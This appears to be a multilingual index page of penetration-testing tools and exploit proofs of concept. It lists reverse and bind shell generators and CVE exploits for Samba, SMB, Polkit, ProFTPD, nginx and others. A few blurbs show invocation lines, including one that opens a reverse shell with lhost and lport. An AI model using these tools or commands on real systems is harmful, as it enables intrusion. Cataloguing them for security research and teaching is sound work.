One-Lin3r

One-Lin3r One-Lin3r es un framework simple, modular y ligero que te proporciona todos los one-liners que necesitarás durante pruebas de penetración sistemas Windows, Linux, macOS o incluso BSD o hacking en general, con muchas funciones nuevas para automatizar todo esto por completo por ejemplo, n...

postshell

PostShell PostShell es un shell de post-explotación que incluye tanto un shell bind como un shell de conexión inversa. Crea un TTY completamente interactivo que permite el control de trabajos. El tamaño del stub es de aproximadamente 14 kb y se puede compilar en cualquier sistema similar a Unix...

postshell

PostShell PostShell is a post-exploitation shell that includes both a bind and a back connect shell. It creates a fully interactive TTY which allows for job control. The stub size is around 14kb and can be compiled on any Unix like system. ScreenShots Banner and interaction with shell after a...

revsh

revsh revsh es una herramienta para establecer shells inversas con soporte de terminal, VPN inversas para pivoteo avanzado, así como tunelización de datos arbitrarios. Novedades 2018-08-09 : Nueva versión. Principalmente correcciones de errores/estabilidad y mejor documentación sobre el proceso d...

CVE-2020-0910

CVE-2020-0910 PoC de Exploit Funcionando CVE-2020-0910 - Reverse Bind Shell Probado usando Python2.7 Para instalar: pip install -r requirements.txt Para ejecutar: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2017-7494_SambaCry

CVE-2017-7494 SambaCry Exploit Exploit SambaCry CVE-2017-7494 para explotar Samba bind shell sin Metasploit Si necesita cambiar el puerto, basta con cambiar la línea n.º 68 de bindshell-samba.c y recompilar: root@kitploit: gcc -c -fpic bindshell-samba.c root@kitploit: gcc -shared -o...

cve-2010-4221

cve-2010-4221 Este exploit fue escrito para estudiar algunos conceptos, ¡disfrútalo! Uso root@kitploit: Proftpd Telnet IAC remote generic exploit Writen by: F0rb1dd3n Usage: ./proftpd-exploit Attack Types: 0 - Socket Reuse 1 - Reverse Shell 2 - Bind Shell 3 - Your own shellcode raw format Solo...

GoSH

GoSH Generador de shell reversa/enlace en Golang Descripción Esta herramienta genera un binario Go que lanza un shell del tipo deseado en el host objetivo. El binario del shell puede ser compilado para múltiples plataformas, soporta polimorfismo parcial nombres de funciones únicos y puede usar el...

ShellPop

ShellPop Acerca de ShellPop se trata de generar shells. Con esta herramienta puedes crear comandos de shell reversa o bind de manera fácil y sofisticada para ayudarte durante las pruebas de penetración. ¡No pierdas más tiempo con archivos .txt almacenando tus shells reversas! Instalación Se...

metasploitable-pentest-report

Metasploitable 2 — Informe de Prueba de Penetración Descargo de responsabilidad: Esta prueba de penetración se realizó en un entorno de laboratorio privado y aislado de VMware con fines educativos únicamente. No se accedió a sistemas reales. Todas las direcciones IP han sido anonimizadas. Resumen...

CVE-2024-54887-PoC

CVE-2024-54887 PoC en TypeScript Este repositorio contiene una reescritura en TypeScript ts-node del PoC público en Python para CVE-2024-54887 TP-Link TL-WR940N v3/v4 RCE autenticado. Requisitos previos Node.js 20+ Instalación root@kitploit: npm install Uso root@kitploit: npx ts-node...

nginxhack

Questo è uno strumento che sfrutta un exploit chiamato CVE-2013-2028 per eseguire una bind shell sul server di destinazione che esegue Nginx 1.3.9 o 1.4.0. Può essere scaricato qui dovrai eseguirlo dalla riga di comando Utilizzo: nginxhack target target port target bind port...

SLAE

SecurityTube Linux Assembly Expert Questo post del blog è stato creato per soddisfare i requisiti della certificazione SecurityTube Linux Assembly Expert: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ ID studente: SLAE-1134 Articoli Esercizio 1: Shell di bind...

CVE-2024-27348

🔥 Toolkit di sfruttamento CVE-2024-27348 🎓 Progetto Accademico 📚 Corso: FC411 - Progettazione di Reti Sicure 👨‍🏫 Docente: Dr. Maira Sultan 🏫 Università: University of Prince Mugrin 📅 Anno: 2025 ⚡ Un toolkit completo per sfruttare CVE-2024-27348 Apache Huge-Graph-Server sviluppato come parte dei...

CVE-2020-0796

CVE-2020-0796 Funktionsfähiger Exploit PoC CVE-2020-0796 - Reverse Bind Shell Getestet mit Python2.7 Installation: pip install -r requirements.txt Ausführung: python CVE-2020-0796-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

jboss-autopwn

⚠️ NOTA: questo strumento non è più in manutenzione attiva. JBoss Autopwn Script Christian G. Papathanasiou http://www.spiderlabs.com INTRODUZIONE Questo script JBoss distribuisce una shell JSP sul server JBoss AS target. Una volta distribuito, lo script utilizza le sue capacità di upload ed...

hacktivity-vulns-exploits-lab

Vulnerabilità, Exploit e Payload di Accesso Remoto — writeup di laboratorio La mia guida e analisi del foglio Hacktivity Cyber Security Labs "Vulnerabilities, Exploits, and Remote Access Payloads" corso di Ethical Hacking e Penetration Testing, Leeds Beckett University. Tratta come le vulnerabili...

badblood

Bad Blood Bad Blood è un exploit per CVE-2021-20038, un buffer overflow basato su stack nel binario httpd dei sistemi della serie SMA-100 con versioni firmware 10.2.1.x. Ho scritto molti dei dettagli tecnici qui: AttackerKB CVE-2021-20038 L'exploit, così com'è scritto, aprirà una shell telnet bin...

Pwnkit-go

PwnKit-go-LPE CVE-2021-4034 Un exploit basato su golang per CVE-2021-4034 soprannominato pwnkit root@kitploit: @@@@@@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@ @@@@@@ @@@@@@@@ @@@ @@@ @@@ @@@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@@ @@@@@@@@ @@! @@@ @@! @@! @@! @@!@!@@@ @@! !@@ @@! @@! !@@ @@!...

persisthunt

Rilevamento Persistenza Linux, Caccia alle Minacce e Raccolta di Artefatti Sommario Utilizzo Esempi di Rilevamento Tabella delle Tecniche Sommario persisthunt.sh aiuta ad accelerare le indagini raccogliendo artefatti mirati relativi alla persistenza ed evidenziando pattern sospetti comunemente...